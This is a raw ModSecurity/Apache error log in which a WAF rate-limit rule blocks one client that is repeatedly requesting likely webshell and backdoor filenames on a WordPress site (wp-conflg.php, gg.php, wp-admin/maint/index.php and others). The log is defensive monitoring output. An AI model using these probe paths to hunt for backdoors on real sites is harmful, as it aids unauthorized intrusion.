[Fri Apr 03 01:30:01.392809 2026] [:error] [pid 25035:tid 25444] [client 4.232.187.184:62920] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "ac6nmRhR292toNOkLqGz6QAAAII"]
[Fri Apr 03 01:30:03.672283 2026] [:error] [pid 25010:tid 25347] [client 4.232.187.184:38161] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "ac6nm4_KcjFQF5TuqTWljAAAAAA"]
[Fri Apr 03 01:30:59.374821 2026] [:error] [pid 25035:tid 25456] [client 4.232.187.184:30492] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ac6n0xhR292toNOkLqG0YgAAAI4"]
[Fri Apr 03 01:30:59.873535 2026] [:error] [pid 25010:tid 25354] [client 4.232.187.184:29472] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ac6n04_KcjFQF5TuqTWmHwAAAAY"]
[Fri Apr 03 01:31:00.361024 2026] [:error] [pid 25035:tid 25448] [client 4.232.187.184:45578] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ac6n1BhR292toNOkLqG0ZAAAAIY"]
[Fri Apr 03 01:31:00.849030 2026] [:error] [pid 25470:tid 25472] [client 4.232.187.184:33658] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ac6n1HhROcck6_9HYygVZwAAAMA"]
[Fri Apr 03 01:31:01.357633 2026] [:error] [pid 25470:tid 25489] [client 4.232.187.184:34944] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ac6n1XhROcck6_9HYygVagAAANE"]
[Fri Apr 03 01:31:01.891697 2026] [:error] [pid 25470:tid 25477] [client 4.232.187.184:50501] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ac6n1XhROcck6_9HYygVbwAAAMU"]
[Fri Apr 03 01:31:02.396202 2026] [:error] [pid 25470:tid 25495] [client 4.232.187.184:42499] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ac6n1nhROcck6_9HYygVcQAAANc"]
[Fri Apr 03 01:31:03.018074 2026] [:error] [pid 25470:tid 25490] [client 4.232.187.184:45599] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ac6n13hROcck6_9HYygVdwAAANI"]
[Fri Apr 03 01:31:03.519127 2026] [:error] [pid 25470:tid 25482] [client 4.232.187.184:33593] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "ac6n13hROcck6_9HYygVfAAAAMo"]
[Fri Apr 03 01:31:04.146485 2026] [:error] [pid 25010:tid 25372] [client 4.232.187.184:44001] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "ac6n2I_KcjFQF5TuqTWmLAAAABc"]
[Fri Apr 03 01:31:04.677540 2026] [:error] [pid 25018:tid 25411] [client 4.232.187.184:29454] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "ac6n2HupR6lXnAUzFGr3FAAAAEA"]
[Fri Apr 03 01:31:05.160464 2026] [:error] [pid 25035:tid 25465] [client 4.232.187.184:42558] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "ac6n2RhR292toNOkLqG0cQAAAJc"]
[Fri Apr 03 01:31:05.677047 2026] [:error] [pid 25035:tid 25445] [client 4.232.187.184:50441] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "ac6n2RhR292toNOkLqG0cgAAAIM"]
[Fri Apr 03 01:31:06.201029 2026] [:error] [pid 25035:tid 25446] [client 4.232.187.184:35794] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "ac6n2hhR292toNOkLqG0dAAAAIQ"]
[Fri Apr 03 01:31:06.713154 2026] [:error] [pid 25035:tid 25463] [client 4.232.187.184:63266] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "ac6n2hhR292toNOkLqG0dgAAAJU"]
[Fri Apr 03 01:31:07.333669 2026] [:error] [pid 25035:tid 25458] [client 4.232.187.184:45604] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "ac6n2xhR292toNOkLqG0eQAAAJA"]
[Fri Apr 03 01:31:07.818220 2026] [:error] [pid 25010:tid 25353] [client 4.232.187.184:29462] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6n24_KcjFQF5TuqTWmOwAAAAU"]
[Fri Apr 03 01:31:08.349310 2026] [:error] [pid 25035:tid 25465] [client 4.232.187.184:63291] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6n3BhR292toNOkLqG0fQAAAJc"]
[Fri Apr 03 01:31:08.962713 2026] [:error] [pid 25035:tid 25445] [client 4.232.187.184:33577] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6n3BhR292toNOkLqG0gAAAAIM"]
[Fri Apr 03 01:31:09.544205 2026] [:error] [pid 25010:tid 25373] [client 4.232.187.184:34990] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6n3Y_KcjFQF5TuqTWmSgAAABg"]
[Fri Apr 03 01:31:10.039161 2026] [:error] [pid 25035:tid 25450] [client 4.232.187.184:37621] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ac6n3hhR292toNOkLqG0hQAAAIg"]
[Fri Apr 03 01:31:10.608276 2026] [:error] [pid 25010:tid 25351] [client 4.232.187.184:32032] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ac6n3o_KcjFQF5TuqTWmUgAAAAM"]
[Fri Apr 03 01:31:11.098657 2026] [:error] [pid 25010:tid 25366] [client 4.232.187.184:45610] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ac6n34_KcjFQF5TuqTWmVQAAABE"]
[Fri Apr 03 01:31:11.727985 2026] [:error] [pid 25018:tid 25433] [client 4.232.187.184:63197] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ac6n33upR6lXnAUzFGr3GQAAAFQ"]
[Fri Apr 03 01:31:12.334042 2026] [:error] [pid 25010:tid 25372] [client 4.232.187.184:33634] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-configs.php"] [unique_id "ac6n4I_KcjFQF5TuqTWmXAAAABc"]
[Fri Apr 03 01:31:12.947705 2026] [:error] [pid 25010:tid 25351] [client 4.232.187.184:32003] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-configs.php"] [unique_id "ac6n4I_KcjFQF5TuqTWmYAAAAAM"]
[Fri Apr 03 01:31:13.440677 2026] [:error] [pid 25010:tid 25358] [client 4.232.187.184:32012] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-configs.php"] [unique_id "ac6n4Y_KcjFQF5TuqTWmZAAAAAo"]
[Fri Apr 03 01:31:13.957083 2026] [:error] [pid 25035:tid 25460] [client 4.232.187.184:43312] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-configs.php"] [unique_id "ac6n4RhR292toNOkLqG0kQAAAJI"]
[Fri Apr 03 01:31:14.481680 2026] [:error] [pid 25035:tid 25464] [client 4.232.187.184:33655] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ac6n4hhR292toNOkLqG0kwAAAJY"]
[Fri Apr 03 01:31:14.973922 2026] [:error] [pid 25470:tid 25493] [client 4.232.187.184:43307] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ac6n4nhROcck6_9HYygVkwAAANU"]
[Fri Apr 03 01:31:15.552216 2026] [:error] [pid 25470:tid 25481] [client 4.232.187.184:32061] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ac6n43hROcck6_9HYygVlwAAAMk"]
[Fri Apr 03 01:31:16.153226 2026] [:error] [pid 25035:tid 25455] [client 4.232.187.184:53198] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ac6n5BhR292toNOkLqG0mAAAAI0"]
[Fri Apr 03 01:31:16.696145 2026] [:error] [pid 25018:tid 25414] [client 4.232.187.184:63202] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ac6n5HupR6lXnAUzFGr3KQAAAEI"]
[Fri Apr 03 01:31:17.233387 2026] [:error] [pid 25035:tid 25454] [client 4.232.187.184:45595] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ac6n5RhR292toNOkLqG0nQAAAIw"]
[Fri Apr 03 01:31:17.732164 2026] [:error] [pid 25018:tid 25431] [client 4.232.187.184:35782] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ac6n5XupR6lXnAUzFGr3LgAAAFI"]
[Fri Apr 03 01:31:18.374709 2026] [:error] [pid 25035:tid 25449] [client 4.232.187.184:34979] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ac6n5hhR292toNOkLqG0pAAAAIc"]
[Fri Apr 03 01:31:18.854151 2026] [:error] [pid 25018:tid 25433] [client 4.232.187.184:50534] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ac6n5nupR6lXnAUzFGr3NwAAAFQ"]
[Fri Apr 03 01:31:19.335223 2026] [:error] [pid 25018:tid 25425] [client 4.232.187.184:43293] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ac6n53upR6lXnAUzFGr3OwAAAEw"]
[Fri Apr 03 01:31:19.816665 2026] [:error] [pid 25018:tid 25422] [client 4.232.187.184:43322] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ac6n53upR6lXnAUzFGr3PwAAAEk"]
[Fri Apr 03 01:31:20.329917 2026] [:error] [pid 25035:tid 25454] [client 4.232.187.184:50432] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ac6n6BhR292toNOkLqG0qgAAAIw"]
[Fri Apr 03 01:31:20.844879 2026] [:error] [pid 25470:tid 25475] [client 4.232.187.184:62613] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ac6n6HhROcck6_9HYygVmwAAAMM"]
[Fri Apr 03 01:31:21.451540 2026] [:error] [pid 25010:tid 25368] [client 4.232.187.184:62732] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ac6n6Y_KcjFQF5TuqTWmdQAAABM"]
[Fri Apr 03 01:31:21.931505 2026] [:error] [pid 25470:tid 25472] [client 4.232.187.184:27065] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ac6n6XhROcck6_9HYygVnAAAAMA"]
[Fri Apr 03 01:31:22.405571 2026] [:error] [pid 25010:tid 25365] [client 4.232.187.184:50459] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ac6n6o_KcjFQF5TuqTWmewAAABA"]
[Fri Apr 03 01:31:22.880667 2026] [:error] [pid 25035:tid 25447] [client 4.232.187.184:50458] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ac6n6hhR292toNOkLqG0tgAAAIU"]
[Fri Apr 03 01:31:23.350181 2026] [:error] [pid 25035:tid 25456] [client 4.232.187.184:62594] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ac6n6xhR292toNOkLqG0ugAAAI4"]
[Fri Apr 03 01:31:23.818850 2026] [:error] [pid 25035:tid 25450] [client 4.232.187.184:62757] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ac6n6xhR292toNOkLqG0wAAAAIg"]
[Fri Apr 03 01:31:24.299072 2026] [:error] [pid 25018:tid 25421] [client 4.232.187.184:39570] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ac6n7HupR6lXnAUzFGr3SAAAAEg"]
[Fri Apr 03 01:31:24.945733 2026] [:error] [pid 25035:tid 25455] [client 4.232.187.184:37548] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/index.php"] [unique_id "ac6n7BhR292toNOkLqG0yAAAAI0"]
[Fri Apr 03 01:31:25.564463 2026] [:error] [pid 25470:tid 25483] [client 4.232.187.184:43305] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/index.php"] [unique_id "ac6n7XhROcck6_9HYygVoAAAAMs"]
[Fri Apr 03 01:31:26.116919 2026] [:error] [pid 25010:tid 25370] [client 4.232.187.184:32031] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/index.php"] [unique_id "ac6n7o_KcjFQF5TuqTWmigAAABU"]
[Fri Apr 03 01:31:26.714267 2026] [:error] [pid 25018:tid 25417] [client 4.232.187.184:48763] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/index.php"] [unique_id "ac6n7nupR6lXnAUzFGr3TwAAAEQ"]
[Fri Apr 03 01:31:27.218373 2026] [:error] [pid 25010:tid 25366] [client 4.232.187.184:51044] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ac6n74_KcjFQF5TuqTWmkAAAABE"]
[Fri Apr 03 01:31:27.756300 2026] [:error] [pid 25470:tid 25482] [client 4.232.187.184:37560] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ac6n73hROcck6_9HYygVrAAAAMo"]
